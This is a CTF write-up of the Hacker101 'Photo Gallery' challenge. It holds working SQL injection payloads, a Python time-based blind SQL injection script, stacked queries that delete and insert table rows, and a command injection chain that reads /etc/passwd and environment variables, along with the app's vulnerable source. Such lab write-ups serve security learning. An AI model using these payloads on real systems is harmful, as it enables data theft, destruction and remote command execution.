It's been a little while since I've had the time and energy to hack, but now I'm back at it and trying to crack the HackerOne CTF Photo Gallery challenge. The application is as simple as can be:

Magical Image Gallery

Kittens


Utterly adorable

Purrfect

Invisible
Space used: 0 total
<!doctype html>
<html>
	<head>
		<title>Magical Image Gallery</title>
	</head>
	<body>
		<h1>Magical Image Gallery</h1>
<h2>Kittens</h2>
<div><div><img src="fetch?id=1" width="266" height="150"><br>Utterly adorable</div><div><img src="fetch?id=2" width="266" height="150"><br>Purrfect</div><div><img src="fetch?id=3" width="266" height="150"><br>Invisible</div><i>Space used: 0	total</i></div>

	</body>
</html>

Each of the photos is retrieved by a "fetch" endpoint via a GET request and a single id parameter which is passed the integers 1 through 3. The image with id=3 doesn't work, but the other two do. Since these aren't normal HTML <img src="..."> tags, I have to imagine that there are some additional backend shenanigans going on. Perhaps a database query? If correct, it could be vulnerable to a SQL injection:

' OR id=1;--

Internal server error.

3 OR id=1;--

The data for image id=1! Very interesting. This is definitely vulnerable to SQL injection and it appears to just dump the content of the query into the page as raw bytes without the correct content type headers. It's rendered as garbled text. This is a prime candidate for a union to extract information from some other table. I just need to know how many columns I'm joining to this query:

1 ORDER BY 1;--

Ok.

1 ORDER BY 2;--

Internal server error. Great, it's just one column. If I were to write a query for an image returning just 1 column, I'd return a path to a file. They might be nuts and have the bytes stored directly in the database column Let's try some path traversals:

1 UNION SELECT '/etc/passwd' ORDER BY 1;
1 UNION SELECT '/var/www/html/get.php' ORDER BY 1;
1 UNION SELECT 'index.html' ORDER BY 1 DESC;

None of these. A hint says this is a flask app? What about:

1 UNION SELECT 'main.py' ORDER BY 1 DESC;

That's it, and it leads to a full blown source code disclosure with the first flag embedded in a comment:

from flask import Flask, abort, redirect, request, Response
import base64, json, MySQLdb, os, re, subprocess

app = Flask(__name__)

home = '''
<!doctype html>
<html>
	<head>
		<title>Magical Image Gallery</title>
	</head>
	<body>
		<h1>Magical Image Gallery</h1>
$ALBUMS$
	</body>
</html>
'''

viewAlbum = '''
<!doctype html>
<html>
	<head>
		<title>$TITLE$ -- Magical Image Gallery</title>
	</head>
	<body>
		<h1>$TITLE$</h1>
$GALLERY$
	</body>
</html>
'''

def getDb():
	return MySQLdb.connect(host="localhost", user="root", password="", db="level5")

def sanitize(data):
	return data.replace('&', '&amp;').replace('<', '&lt;').replace('>', '&gt;').replace('"', '&quot;')

@app.route('/')
def index():
	cur = getDb().cursor()
	cur.execute('SELECT id, title FROM albums')
	albums = list(cur.fetchall())

	rep = ''
	for id, title in albums:
		rep += '<h2>%s</h2>\n' % sanitize(title)
		rep += '<div>'
		cur.execute('SELECT id, title, filename FROM photos WHERE parent=%s LIMIT 3', (id, ))
		fns = []
		for pid, ptitle, pfn in cur.fetchall():
			rep += '<div><img src="fetch?id=%i" width="266" height="150"><br>%s</div>' % (pid, sanitize(ptitle))
			fns.append(pfn)
		rep += '<i>Space used: ' + subprocess.check_output('du -ch %s || exit 0' % ' '.join('files/' + fn for fn in fns), shell=True, stderr=subprocess.STDOUT).strip().rsplit('\n', 1)[-1] + '</i>'
		rep += '</div>\n'

	return home.replace('$ALBUMS$', rep)

@app.route('/fetch')
def fetch():
	cur = getDb().cursor()
	if cur.execute('SELECT filename FROM photos WHERE id=%s' % request.args['id']) == 0:
		abort(404)

	# It's dangerous to go alone, take this:
    # ^FLAG^****************************************************************$FLAG$

	return file('./%s' % cur.fetchone()[0].replace('..', ''), 'rb').read()

if __name__ == "__main__":
	app.run(host='0.0.0.0', port=80)

This source code is sure to help with the next two flags. The fetch function uses the filepath to read a file, but image 3 fails with a 500 error. I'm guessing that the file doesn't exist, because it's the flag I want. Maybe we can make it work with some SQL magic:

3 UNION SELECT 'three.txt' ORDER BY 1 DESC; SELECT filename INTO OUTFILE 'three.txt' FROM photos WHERE id = 3;

No luck. This might not be writing the file to the same path or even server as the flask app. When in doubt, a timed blind SQL exfiltration of the data is always an option:

import requests
import time

table_name_length = 10

# Printable ASCII characters excluding ', "
test_characters = [
    chr(i) for i in range(32, 127) 
    if chr(i) not in ("'", '"', '\\', "#", '&') and chr(i) == chr(i).lower()
]
print(test_characters)

url = "https://3fe810ef2f7e45090a65c3ed5fde382a.ctf.hacker101.com/fetch?id="
sleep_time = 2


with open("three.txt", "a") as f:
    character_position = len(open("three.txt", "r").readlines()) + 1

    def test(test_character, character_position):
        query = f"""1-IF(EXISTS(SELECT filename FROM photos WHERE id=3 AND MID(filename, {character_position}, 1)='{test_character}'), SLEEP({sleep_time}), 0);"""

        tic = time.perf_counter()
        requests.get(f"{url}{query}")

        toc = time.perf_counter()
        elapsed = toc - tic
        passed = elapsed > (3 * sleep_time) and elapsed < (3 * sleep_time) + 1.0

        return passed, elapsed


    while character_position <= 65:
        for test_character in test_characters:
            passed, elapsed = test(test_character, character_position)
            
            if passed:
                # retest
                passed, elapsed = test(test_character, character_position)

            if passed:
                print(f"{character_position}, {test_character}: {elapsed}")
                f.write(f"{character_position} -> {test_character}\n")
                f.flush()
                break
            else:
                # Best 2 out of 3
                passed, elapsed = test(test_character, character_position)
                if passed:
                    print(f"{character_position}, {test_character}: {elapsed}")
                    f.write(f"{character_position} -> {test_character}\n")
                    f.flush()
                    break

    
        character_position += 1


with open("three.txt", 'r') as f:
    raw_data = f.readlines()

data = [s.strip().split(" -> ") for s in raw_data]
result = ''.join([s[1] for s in data if len(s) > 1])
print(result)

This probably wasn't the most elegant way to get the job done, but it yields a 64 character hex string -- my next flag!

Next I want to see if it's possible to insert new records into the database tables. If so, there's at least a stored XSS available for the next flag. To test this, let's first try the insert into albums:

1; INSERT INTO albums (title) VALUES ('hacked'); COMMIT;--

Magical Image Gallery

Kittens


Utterly adorable

Purrfect

Invisible
Space used: 0 total

hacked

Space used: 232K total

This worked, the new album "hacked" appears at the bottom of the page. In the source code above, there is one field that's not sanitized: filename. The developer clearly thought because it's being used in their subprocess call to 'du -ch %s || exit 0' that it wouldn't matter. But they take the output of this command and run it through .strip().rsplit('\n', 1)[-1] getting the final line of the command output. The call to du -ch ... will return a result like:

> du -ch file_1.txt file_2.txt

4.0K    file_1.txt
4.0K    file_2.txt
8.0K    total

After which the rsplit on the \n character selects just the final line of that output. All I need to do is replace the final line of output piped to exit 0, which requires just one little semicolon.

1; DELETE FROM photos; DELETE FROM albums; COMMIT; INSERT INTO albums (id, title) VALUES (3, 'hacked'); COMMIT; INSERT INTO photos (id, title, filename, parent) VALUES (1, 'hacked', '/dev/null; echo "<script>console.log(1);</script>" ', 3); COMMIT;--

Magical Image Gallery

hacked


hacked
Space used:

That worked beautifully, printing 1 to the console as expected. But there's no flag. That's not entirely surprising -- an XSS is a weak use of this exploit chain. This is a command injection vulnerability allowing complete access to the shell on the target box, after all. So what's in /etc/passwd?

1; DELETE FROM photos; DELETE FROM albums; COMMIT; INSERT INTO albums (id, title) VALUES (2, 'hacked'); COMMIT; INSERT INTO photos (id, title, filename, parent) VALUES (2, 'hacked', 'fake.png; cat /etc/passwd', 2); COMMIT;--

Magical Image Gallery

hacked


hacked
Space used: mysql:x:102:103:MySQL Server,,,:/nonexistent:/bin/false

No flags there either. Do the environment variables tell me anything?

1; DELETE FROM photos; DELETE FROM albums; COMMIT; INSERT INTO albums (id, title) VALUES (1, 'hacked'); COMMIT; INSERT INTO photos (id, title, filename, parent) VALUES (1, 'hacked', 'fake.png; echo $(printenv)', 1); COMMIT;--

Magical Image Gallery

hacked


hacked
Space used: PYTHONIOENCODING=UTF-8 UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgi SUPERVISOR_GROUP_NAME=uwsgi FLAGS=["^FLAG^****************************************************************$FLAG$","^FLAG^****************************************************************$FLAG$","^FLAG^****************************************************************$FLAG$"] HOSTNAME=ip-10-15-39-29.us-west-2.compute.internal SHLVL=0 PYTHON_PIP_VERSION=18.0 HOME=/root GPG_KEY=C01E1CAD5EA2C4F0B8E3571504C367C218ADD4FF UWSGI_INI=/app/uwsgi.ini AWS_EXECUTION_ENV=AWS_ECS_FARGATE NGINX_MAX_UPLOAD=0 UWSGI_PROCESSES=16 ECS_AGENT_URI=http://169.254.170.2/api/8905b3340bb24747be7f8e6a0803900b-2858145981 STATIC_URL=/static AWS_DEFAULT_REGION=us-west-2 ECS_CONTAINER_METADATA_URI_V4=http://169.254.170.2/v4/8905b3340bb24747be7f8e6a0803900b-2858145981 UWSGI_CHEAPER=2 ECS_CONTAINER_METADATA_URI=http://169.254.170.2/v3/8905b3340bb24747be7f8e6a0803900b-2858145981 NGINX_VERSION=1.13.12-1~stretch PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin NJS_VERSION=1.13.12.0.2.0-1~stretch LANG=C.UTF-8 SUPERVISOR_ENABLED=1 PYTHON_VERSION=2.7.15 AWS_REGION=us-west-2 NGINX_WORKER_PROCESSES=1 SUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sock SUPERVISOR_PROCESS_NAME=uwsgi LISTEN_PORT=80 STATIC_INDEX=0 PWD=/app STATIC_PATH=/app/static PYTHONPATH=/app UWSGI_RELOADS=0

That's it. Interestingly, if one manages to achieve the command injection as their first vulnerability, they'll just receive all three flags at once. It's certainly deserved if you manage to go straight to that point without the benefit of the source code disclosure vulnerability for the first flag!